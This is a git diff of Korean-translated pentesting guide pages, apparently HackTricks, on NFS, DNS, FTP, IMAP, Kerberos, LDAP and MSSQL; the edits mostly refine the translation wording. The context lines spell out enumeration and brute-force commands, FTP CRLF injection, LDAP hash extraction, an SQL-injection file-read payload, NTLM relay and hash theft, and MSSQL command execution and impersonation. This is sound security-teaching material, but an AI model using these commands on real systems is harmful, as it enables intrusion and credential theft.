- **NFSv4**: NFS 시리즈의 이정표가 되는 버전인 NFSv4는 네트워크 간 파일 공유를 현대화하기 위해 설계된 기능 모음을 가져왔습니다. 주목할 만한 개선 사항으로는 **높은 보안**을 위한 Kerberos 통합, 방화벽을 통과하고 포트 매퍼 없이 인터넷에서 작동할 수 있는 기능, 접근 제어 목록(ACL) 지원, 상태 기반 작업의 도입이 있습니다. 성능 향상과 상태 기반 프로토콜의 채택은 NFSv4를 네트워크 파일 공유 기술의 중요한 발전으로 구별시킵니다.
|
||||
|
||||
각 NFS 버전은 네트워크 환경의 진화하는 요구를 해결하기 위해 개발되었으며, 보안, 호환성 및 성능을 점진적으로 향상시켰습니다.
|
||||
각 NFS 버전은 네트워크 환경의 진화하는 요구를 충족하기 위해 개발되었으며, 보안, 호환성 및 성능을 점진적으로 향상시켰습니다.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@ -76,9 +76,9 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
|
||||
- **중첩 파일 시스템의 가시성 (`nohide`):** 이 구성은 다른 파일 시스템이 내보낸 디렉토리 아래에 마운트되어 있어도 디렉토리를 볼 수 있게 합니다. 각 디렉토리는 적절한 관리를 위해 자체 내보내기 항목이 필요합니다.
|
||||
|
||||
- **루트 파일 소유권 (`no_root_squash`):** 이 설정을 사용하면 루트 사용자가 생성한 파일이 원래의 UID/GID인 0을 유지하며, 최소 권한 원칙을 무시하고 과도한 권한을 부여할 수 있습니다.
|
||||
- **루트 파일 소유권 (`no_root_squash`):** 이 설정을 사용하면 루트 사용자가 생성한 파일이 원래의 UID/GID인 0을 유지하여 최소 권한 원칙을 무시하고 과도한 권한을 부여할 수 있습니다.
|
||||
|
||||
- **모든 사용자 비스쿼시 (`no_all_squash`):** 이 옵션은 사용자 신원이 시스템 전반에 걸쳐 유지되도록 보장하며, 올바르게 처리되지 않으면 권한 및 접근 제어 문제를 일으킬 수 있습니다.
|
||||
- **모든 사용자 비스쿼시 (`no_all_squash`):** 이 옵션은 사용자 신원이 시스템 전반에 걸쳐 유지되도록 하여, 올바르게 처리되지 않으면 권한 및 접근 제어 문제를 일으킬 수 있습니다.
|
||||
|
||||
## NFS 잘못된 구성으로 인한 권한 상승
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**도메인 네임 시스템(DNS)**은 인터넷의 디렉토리 역할을 하며, 사용자가 google.com 또는 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹사이트에 접근할 수 있도록 합니다. 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 신속하게 로드할 수 있도록 하여 우리가 온라인 세계를 탐색하는 방식을 단순화합니다.
|
||||
**도메인 네임 시스템(DNS)**은 인터넷의 디렉토리 역할을 하며, 사용자가 google.com이나 facebook.com과 같은 **기억하기 쉬운 도메인 이름**을 통해 웹사이트에 접근할 수 있도록 합니다. 도메인 이름을 IP 주소로 변환함으로써 DNS는 웹 브라우저가 인터넷 리소스를 신속하게 로드할 수 있도록 하여 우리가 온라인 세계를 탐색하는 방식을 단순화합니다.
|
||||
|
||||
**기본 포트:** 53
|
||||
```
|
||||
@ -87,7 +87,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
|
||||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
```
|
||||
### DNS - Reverse BF
|
||||
### DNS - 리버스 BF
|
||||
```bash
|
||||
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
@ -107,7 +107,7 @@ dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10
|
||||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
|
||||
```
|
||||
### Active Directory 서버
|
||||
### 액티브 디렉토리 서버
|
||||
```bash
|
||||
dig -t _gc._tcp.lab.domain.com
|
||||
dig -t _ldap._tcp.lab.domain.com
|
||||
@ -130,7 +130,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
IPv6 주소를 사용하여 역 DNS를 브루트포스 공격하기
|
||||
IPv6 주소를 사용한 역 DNS 브루트포스
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
@ -152,9 +152,9 @@ dig google.com A @<IP>
|
||||
|
||||
### 존재하지 않는 계정으로 메일 보내기
|
||||
|
||||
**피해자의 도메인을 사용하여 존재하지 않는 주소로 이메일을 보내는 것**은 피해자가 **비배달 알림(NDN)** 메시지를 전송하게 할 수 있으며, 이 메시지의 **헤더**에는 **내부 서버의 이름과 IP 주소**와 같은 흥미로운 정보가 포함될 수 있습니다.
|
||||
**피해자의 도메인을 사용하여 존재하지 않는 주소로 이메일을 보내는 것**은 피해자가 **헤더**에 **내부 서버의 이름과 IP 주소**와 같은 흥미로운 정보를 포함할 수 있는 비배달 알림(NDN) 메시지를 전송하도록 유도할 수 있습니다.
|
||||
|
||||
## 포스트 익스플로잇
|
||||
## 사후 활용
|
||||
|
||||
- Bind 서버의 구성을 확인할 때 **`allow-transfer`** 매개변수의 구성을 확인하십시오. 이는 누가 존 전송을 수행할 수 있는지를 나타내며, **`allow-recursion`** 및 **`allow-query`**는 누가 재귀 요청 및 요청을 보낼 수 있는지를 나타냅니다.
|
||||
- 다음은 머신 내에서 검색할 수 있는 DNS 관련 파일의 이름입니다:
|
||||
|
@ -115,7 +115,7 @@ You can connect to a FTP server using a browser (like Firefox) using a URL like:
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
사용자에 의해 제어되는 데이터를 **FTP 서버**에 **직접 전송하는 웹 애플리케이션**이 있는 경우, 이중 URL 인코딩된 `%0d%0a` (이중 URL 인코딩에서는 `%250d%250a`) 바이트를 전송하여 **FTP 서버가 임의의 작업을 수행**하게 할 수 있습니다. 이러한 가능한 임의 작업 중 하나는 사용자가 제어하는 서버에서 콘텐츠를 다운로드하거나 포트 스캐닝을 수행하거나 다른 평문 기반 서비스(예: http)와 통신을 시도하는 것입니다.
|
||||
사용자에 의해 제어되는 데이터를 **FTP 서버**에 **직접 전송하는 웹 애플리케이션**이 있는 경우, 이중 URL 인코딩된 `%0d%0a` (이중 URL 인코딩에서는 `%250d%250a`) 바이트를 전송하여 **FTP 서버가 임의의 작업을 수행**하게 할 수 있습니다. 이러한 임의의 작업 중 하나는 사용자가 제어하는 서버에서 콘텐츠를 다운로드하거나 포트 스캐닝을 수행하거나 다른 평문 기반 서비스(예: http)와 통신을 시도하는 것입니다.
|
||||
|
||||
## FTP에서 모든 파일 다운로드
|
||||
```bash
|
||||
@ -131,8 +131,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** 서버가 지원하는 명령어를 표시합니다.
|
||||
- **`PORT 127,0,0,1,0,80`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80으로 연결을 설정하도록 지시합니다 (_5번째 문자는 "0"으로, 6번째는 10진수로 포트를 입력해야 하거나 5번째와 6번째를 사용하여 포트를 16진수로 표현해야 합니다_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80으로 TCP 연결을 설정하도록 지시합니다 (_"2"로 표시됨_). 이 명령은 **IPv6을 지원합니다**.
|
||||
- **`PORT 127,0,0,1,0,80`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80과 연결을 설정하도록 지시합니다 (_5번째 문자는 "0"으로, 6번째는 10진수로 포트를 입력해야 하거나 5번째와 6번째를 사용하여 포트를 16진수로 표현해야 합니다_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** 이는 FTP 서버에 IP 127.0.0.1의 포트 80과 TCP 연결을 설정하도록 지시합니다 (_"2"로 표시됨_). 이 명령은 **IPv6을 지원합니다**.
|
||||
- **`LIST`** 현재 폴더의 파일 목록을 전송합니다.
|
||||
- **`LIST -R`** 재귀적으로 목록을 나열합니다 (서버에서 허용하는 경우).
|
||||
- **`APPE /path/something.txt`** 이는 FTP에 **수동** 연결 또는 **PORT/EPRT** 연결에서 수신한 데이터를 파일에 저장하도록 지시합니다. 파일 이름이 존재하면 데이터를 추가합니다.
|
||||
@ -171,7 +171,7 @@ posts.txt
|
||||
- **프로토콜과 관련된 "정크" 데이터로 요청을 채우려고 시도합니다** (FTP와 대화할 때는 아마도 정크 명령이나 `RETR` 명령을 반복하여 파일을 가져오는 것).
|
||||
- **많은 널 문자 또는 다른 문자로 요청을 채우려고 시도합니다** (줄로 나누거나 나누지 않고).
|
||||
|
||||
어쨌든, 여기 [다른 FTP 서버에서 파일을 다운로드하도록 FTP 서버를 악용하는 방법에 대한 오래된 예가 있습니다.](ftp-bounce-download-2oftp-file.md)
|
||||
어쨌든, 여기 [다른 FTP 서버에서 파일을 다운로드하도록 FTP 서버를 악용하는 방법에 대한 오래된 예제가 있습니다.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla Server Vulnerability
|
||||
|
||||
|
@ -30,13 +30,13 @@ root@kali: telnet example.com 143
|
||||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
Or **automate** this with **nmap** plugin `imap-ntlm-info.nse`
|
||||
또는 **nmap** 플러그인 `imap-ntlm-info.nse`로 이를 **자동화**합니다.
|
||||
|
||||
### [IMAP Bruteforce](../generic-hacking/brute-force.md#imap)
|
||||
|
||||
## Syntax
|
||||
## 구문
|
||||
|
||||
IMAP Commands examples from [here](https://donsutherland.org/crib/imap):
|
||||
IMAP 명령어 예시는 [여기](https://donsutherland.org/crib/imap)에서 확인할 수 있습니다:
|
||||
```
|
||||
Login
|
||||
A1 LOGIN username password
|
||||
@ -91,7 +91,7 @@ apt install evolution
|
||||
|
||||
### CURL
|
||||
|
||||
기본 탐색은 [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)로 가능하지만, 문서에 세부 정보가 부족하므로 정확한 세부 사항을 위해 [소스](https://github.com/curl/curl/blob/master/lib/imap.c)를 확인하는 것이 좋습니다.
|
||||
기본 탐색은 [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)로 가능하지만, 문서에는 세부 정보가 부족하므로 정확한 세부 사항을 위해 [소스](https://github.com/curl/curl/blob/master/lib/imap.c)를 확인하는 것이 좋습니다.
|
||||
|
||||
1. 메일박스 나열 (imap 명령 `LIST "" "*"`)
|
||||
```bash
|
||||
@ -109,22 +109,22 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
가능한 검색어에 대한 좋은 개요는 [여기](https://www.atmail.com/blog/imap-commands/)에서 확인할 수 있습니다.
|
||||
|
||||
3. 메시지 다운로드 (imap 명령 `SELECT Drafts` 및 그 다음 `FETCH 1 BODY[]`)
|
||||
3. 메시지 다운로드 (imap 명령 `SELECT Drafts` 및 `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
메일 인덱스는 검색 작업에서 반환된 동일한 인덱스가 됩니다.
|
||||
|
||||
`UID` (고유 ID)를 사용하여 메시지에 접근하는 것도 가능하지만, 검색 명령을 수동으로 형식화해야 하므로 덜 편리합니다. 예:
|
||||
`UID`(고유 ID)를 사용하여 메시지에 접근하는 것도 가능하지만, 검색 명령을 수동으로 형식화해야 하므로 덜 편리합니다. 예:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
메시지의 일부만 다운로드하는 것도 가능합니다. 예를 들어, 첫 5개의 메시지의 제목과 발신자(제목과 발신자를 보려면 `-v`가 필요합니다):
|
||||
또한 메시지의 일부만 다운로드하는 것이 가능합니다. 예를 들어, 첫 번째 5개의 메시지의 제목과 발신자(제목과 발신자를 보려면 `-v`가 필요함):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
아마도, 작은 for 루프를 작성하는 것이 더 깔끔할 것입니다:
|
||||
아마도 작은 for 루프를 작성하는 것이 더 깔끔할 것입니다:
|
||||
```bash
|
||||
for m in {1..5}; do
|
||||
echo $m
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
**Active Directory**와 같은 환경에서 **Kerberos**는 사용자의 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 사용자가 네트워크 리소스와 상호작용하기 전에 각 사용자의 신원이 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다.
|
||||
|
||||
**Kerberos**에 의한 인증 후, 리소스 접근에 대한 의사 결정 과정은 네트워크 내 개별 서비스에 위임됩니다. 이러한 서비스는 **Kerberos**가 제공하는 사용자 권한에 대한 정보를 바탕으로 인증된 사용자의 권리와 권한을 평가할 책임이 있습니다. 이 설계는 사용자 신원 인증과 접근 권한 관리를 분리하여 분산 네트워크에서 리소스 관리를 보다 유연하고 안전하게 접근할 수 있도록 합니다.
|
||||
**Kerberos**에 의한 인증 후, 리소스 접근에 대한 의사 결정 과정은 네트워크 내 개별 서비스에 위임됩니다. 이러한 서비스는 **Kerberos**가 제공하는 사용자 권한에 대한 정보를 바탕으로 인증된 사용자의 권리와 권한을 평가할 책임이 있습니다. 이 설계는 사용자의 신원을 인증하는 것과 접근 권한을 관리하는 것 간의 관심사를 분리하여 분산 네트워크에서 리소스 관리를 보다 유연하고 안전하게 접근할 수 있도록 합니다.
|
||||
|
||||
**기본 포트:** 88/tcp/udp
|
||||
```
|
||||
@ -25,7 +25,7 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 높은 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다.
|
||||
MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 권한 상승을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다.
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
|
@ -52,7 +52,7 @@ phone: 23627387495
|
||||
|
||||
## 데이터 작성
|
||||
|
||||
값을 수정할 수 있다면 정말 흥미로운 작업을 수행할 수 있습니다. 예를 들어, **사용자 또는 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 상상해 보십시오**. 이 속성이 존재한다면 **ssh가 LDAP에서 공개 키를 읽고 있을 가능성이 높습니다**. 사용자의 공개 키를 수정할 수 있다면 **ssh에서 비밀번호 인증이 활성화되지 않았더라도 해당 사용자로 로그인할 수 있습니다**.
|
||||
값을 수정할 수 있다면 정말 흥미로운 작업을 수행할 수 있습니다. 예를 들어, **사용자 또는 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 상상해 보십시오**. 이 속성이 존재한다면 **ssh가 LDAP에서 공개 키를 읽고 있을 가능성이 높습니다**. 사용자의 공개 키를 수정할 수 있다면 **ssh에서 비밀번호 인증이 활성화되지 않더라도 해당 사용자로 로그인할 수 있습니다**.
|
||||
```bash
|
||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||
>>> import ldap3
|
||||
@ -83,7 +83,7 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
### LDAP 익명 바인딩
|
||||
|
||||
[LDAP 익명 바인딩](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)은 **인증되지 않은 공격자**가 도메인에서 사용자, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 비밀번호 정책의 전체 목록과 같은 정보를 검색할 수 있도록 허용합니다. 이는 **구식 구성**이며, Windows Server 2003부터는 인증된 사용자만 LDAP 요청을 시작할 수 있습니다.\
|
||||
그러나 관리자는 **특정 애플리케이션을 설정하여 익명 바인딩을 허용해야 할 필요가 있었**고, 그로 인해 의도한 것보다 더 많은 접근 권한을 부여하여 인증되지 않은 사용자가 AD의 모든 객체에 접근할 수 있게 했을 수 있습니다.
|
||||
그러나 관리자는 **특정 애플리케이션을 설정하여 익명 바인딩을 허용해야 할 수도 있으며**, 의도한 것보다 더 많은 액세스를 부여하여 인증되지 않은 사용자가 AD의 모든 객체에 접근할 수 있도록 했을 수 있습니다.
|
||||
|
||||
## 유효한 자격 증명
|
||||
|
||||
@ -121,7 +121,7 @@ First try to **connect without** credentials:
|
||||
True
|
||||
>>> server.info
|
||||
```
|
||||
응답이 이전 예제와 같이 `True`인 경우, 다음에서 LDAP의 **흥미로운 데이터**(예: **명명 컨텍스트** 또는 **도메인 이름**) 서버를 얻을 수 있습니다:
|
||||
응답이 이전 예제와 같이 `True`인 경우, 다음에서 LDAP의 **흥미로운 데이터**(예: **명명 컨텍스트** 또는 **도메인 이름**)를 얻을 수 있습니다:
|
||||
```bash
|
||||
>>> server.info
|
||||
DSA info (from DSE):
|
||||
@ -129,13 +129,13 @@ Supported LDAP versions: 3
|
||||
Naming contexts:
|
||||
dc=DOMAIN,dc=DOMAIN
|
||||
```
|
||||
일단 네이밍 컨텍스트를 얻으면 더 흥미로운 쿼리를 수행할 수 있습니다. 이 간단한 쿼리는 디렉토리의 모든 객체를 보여줍니다:
|
||||
일단 네이밍 컨텍스트를 확보하면 더 흥미로운 쿼리를 수행할 수 있습니다. 이 간단한 쿼리는 디렉토리의 모든 객체를 보여줍니다:
|
||||
```bash
|
||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||
True
|
||||
>> connection.entries
|
||||
```
|
||||
또는 **dump** 전체 ldap:
|
||||
또는 **덤프** 전체 ldap:
|
||||
```bash
|
||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||
True
|
||||
@ -145,7 +145,7 @@ True
|
||||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch)는 **LDAP 쿼리를 활용하여 Windows** 도메인에서 사용자, 그룹 및 컴퓨터를 **열거하는 데 유용한** Python 스크립트입니다.
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch)는 LDAP 쿼리를 활용하여 **Windows** 도메인에서 사용자, 그룹 및 컴퓨터를 **열거하는 데 유용한** Python 스크립트입니다.
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
@ -197,7 +197,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Com
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
**도메인 관리자** 추출:
|
||||
**도메인 관리자**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -280,17 +280,17 @@ done
|
||||
|
||||
여기에서 LDAP 서버와 함께 사용할 수 있는 그래픽 인터페이스를 다운로드할 수 있습니다: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||
|
||||
기본적으로 다음 위치에 설치됩니다: _/opt/jxplorer_
|
||||
기본적으로 다음에 설치됩니다: _/opt/jxplorer_
|
||||
|
||||
.png>)
|
||||
|
||||
### Godap
|
||||
|
||||
Godap는 AD 및 기타 LDAP 서버의 객체 및 속성과 상호작용할 수 있는 대화형 터미널 사용자 인터페이스입니다. Windows, Linux 및 MacOS에서 사용할 수 있으며, 간단한 바인드, 패스-더-해시, 패스-더-티켓 및 패스-더-인증서와 같은 여러 전문 기능을 지원하며, 객체 검색/생성/변경/삭제, 그룹에서 사용자 추가/제거, 비밀번호 변경, 객체 권한(DACL) 편집, Active-Directory 통합 DNS(ADIDNS) 수정, JSON 파일로 내보내기 등을 포함합니다.
|
||||
Godap은 AD 및 기타 LDAP 서버의 객체 및 속성과 상호작용할 수 있는 대화형 터미널 사용자 인터페이스입니다. Windows, Linux 및 MacOS에서 사용할 수 있으며, 간단한 바인드, 패스-더-해시, 패스-더-티켓 및 패스-더-인증서와 같은 여러 가지 전문 기능을 지원합니다. 객체 검색/생성/변경/삭제, 그룹에서 사용자 추가/제거, 비밀번호 변경, 객체 권한(DACL) 편집, Active-Directory 통합 DNS(ADIDNS) 수정, JSON 파일로 내보내기 등을 포함합니다.
|
||||
|
||||

|
||||
|
||||
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)에서 접근할 수 있습니다. 사용 예제 및 지침은 [Wiki](https://github.com/Macmod/godap/wiki)를 읽어보세요.
|
||||
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)에서 액세스할 수 있습니다. 사용 예제 및 지침은 [Wiki](https://github.com/Macmod/godap/wiki)를 참조하세요.
|
||||
|
||||
### Ldapx
|
||||
|
||||
@ -306,7 +306,7 @@ Ldapx는 다른 도구의 LDAP 트래픽을 검사하고 변환하는 데 사용
|
||||
|
||||
## POST
|
||||
|
||||
데이터베이스가 포함된 파일에 접근할 수 있다면(예: _/var/lib/ldap_). 다음을 사용하여 해시를 추출할 수 있습니다:
|
||||
데이터베이스가 포함된 파일에 접근할 수 있다면(예: _/var/lib/ldap_에 있을 수 있음), 다음을 사용하여 해시를 추출할 수 있습니다:
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
|
@ -157,12 +157,12 @@ SELECT * FROM sysusers
|
||||
|
||||
1. **Securable:** SQL Server가 접근 제어를 위해 관리하는 리소스로 정의됩니다. 이는 다음과 같이 분류됩니다:
|
||||
- **서버** – 데이터베이스, 로그인, 엔드포인트, 가용성 그룹 및 서버 역할의 예가 포함됩니다.
|
||||
- **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자의 예가 포함됩니다.
|
||||
- **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등을 포함합니다.
|
||||
- **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자가 포함됩니다.
|
||||
- **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등이 포함됩니다.
|
||||
2. **Permission:** SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 발생합니다:
|
||||
- **서버 수준** – 로그인을 사용하여
|
||||
- **데이터베이스 수준** – 사용자를 사용하여
|
||||
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나, 접근 권한이 있는 역할에 로그인 및 사용자를 포함시킴으로써 행사됩니다.
|
||||
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나 접근 권한이 있는 역할에 로그인 및 사용자를 포함시킴으로써 행사됩니다.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -269,7 +269,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
> EXEC sp_helprotect 'xp_fileexist';
|
||||
> ```
|
||||
|
||||
**responder** 또는 **Inveigh**와 같은 도구를 사용하면 **NetNTLM 해시를 훔칠** 수 있습니다.\
|
||||
**responder** 또는 **Inveigh**와 같은 도구를 사용하면 **NetNTLM 해시를 훔칠 수 있습니다**.\
|
||||
이 도구를 사용하는 방법은 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
@ -315,19 +315,19 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### Error-based vector for SQLi:
|
||||
#### SQLi를 위한 오류 기반 벡터:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/파일 읽기 스크립트 실행 (Python 및 R)**
|
||||
|
||||
MSSQL은 **Python 및/또는 R**에서 **스크립트**를 실행할 수 있습니다. 이 코드는 **xp_cmdshell**을 사용하여 명령을 실행하는 **다른 사용자**에 의해 실행됩니다.
|
||||
MSSQL은 **Python 및/또는 R**에서 **스크립트 실행**을 허용할 수 있습니다. 이 코드는 **xp_cmdshell**을 사용하여 명령을 실행하는 사용자와 **다른 사용자**에 의해 실행됩니다.
|
||||
|
||||
**작동하지 않는** **'R'** _"Hellow World!"_ 실행 예:
|
||||
예시: **'R'** _"Hellow World!"_ **실행되지 않음**:
|
||||
|
||||
.png>)
|
||||
|
||||
구성된 Python을 사용하여 여러 작업을 수행하는 예:
|
||||
예시: 여러 작업을 수행하기 위해 구성된 Python 사용:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -370,7 +370,7 @@ EXEC sp_helprotect 'xp_regwrite';
|
||||
|
||||
### MSSQL 사용자 정의 함수로 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
사용자 정의 함수를 통해 **MSSQL 내에서 .NET dll을 로드하는 것이 가능합니다**. 그러나 이는 **`dbo` 접근이 필요**하므로 데이터베이스에 **`sa` 또는 관리자 역할로 연결해야 합니다**.
|
||||
사용자 정의 함수를 통해 **MSSQL 내에서 .NET dll을 로드하는 것이 가능합니다**. 그러나 이는 **`dbo` 접근이 필요하므로 데이터베이스에 `sa` 또는 관리자 역할로 연결해야 합니다**.
|
||||
|
||||
[이 링크를 따라](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 예제를 확인하세요.
|
||||
|
||||
@ -505,9 +505,9 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!NOTE]
|
||||
> 사용자를 가장할 수 있다면, 그가 sysadmin이 아니더라도, **사용자가 다른** **데이터베이스** 또는 연결된 서버에 **접근할 수 있는지** 확인해야 합니다.
|
||||
> 사용자를 가장할 수 있다면, 그가 sysadmin이 아니더라도, **사용자가 다른 데이터베이스**나 연결된 서버에 **접근할 수 있는지** 확인해야 합니다.
|
||||
|
||||
sysadmin이 되면 다른 모든 사용자를 가장할 수 있다는 점에 유의하세요:
|
||||
sysadmin이 되면 다른 사용자를 가장할 수 있다는 점에 유의하세요:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -552,7 +552,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
## 로컬 권한 상승
|
||||
|
||||
MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토큰이 활성화되어 있습니다.\
|
||||
다음 두 페이지 중 하나를 따라 **관리자로 상승**할 수 있을 것입니다:
|
||||
다음 두 페이지 중 하나를 따라 **관리자로 권한 상승**할 수 있을 것입니다:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
